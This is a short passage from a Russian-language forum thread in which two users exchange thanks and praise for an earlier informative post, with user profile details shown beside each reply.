    04.05.16
  18. EvilLovesMe Проверенный

    EvilLovesMe
    Статус:
    Вне сети
    Сообщения:
    246
    Симпатии:
    158
    Регистрация:
    17.05.16
    очень информативно :) не поленился :)
     
    27 май 2016 #18
    Deathcore4eva нравится это.
  19. Golden K. Заблокирован

    Golden K.
    Статус:
    Вне сети
    Сообщения:
    541
    Симпатии:
    140
    Регистрация:
    04.05.16
    лучшая награда это похвала, спасибо огромное !
     
    27 май 2016 #19
    Hrum нравится это.
  20. EvilLovesMe Проверенный

    EvilLovesMe
    Статус:
    Вне сети
    Сообщения:
    246
    Симпатии:
    158
    Регистрация:
    17.05.16
    как смогу ставить залетит симпа :)
     
    27 май 2016 #20
    Deathcore4eva и Golden K. нравится это.
Загрузка...
Top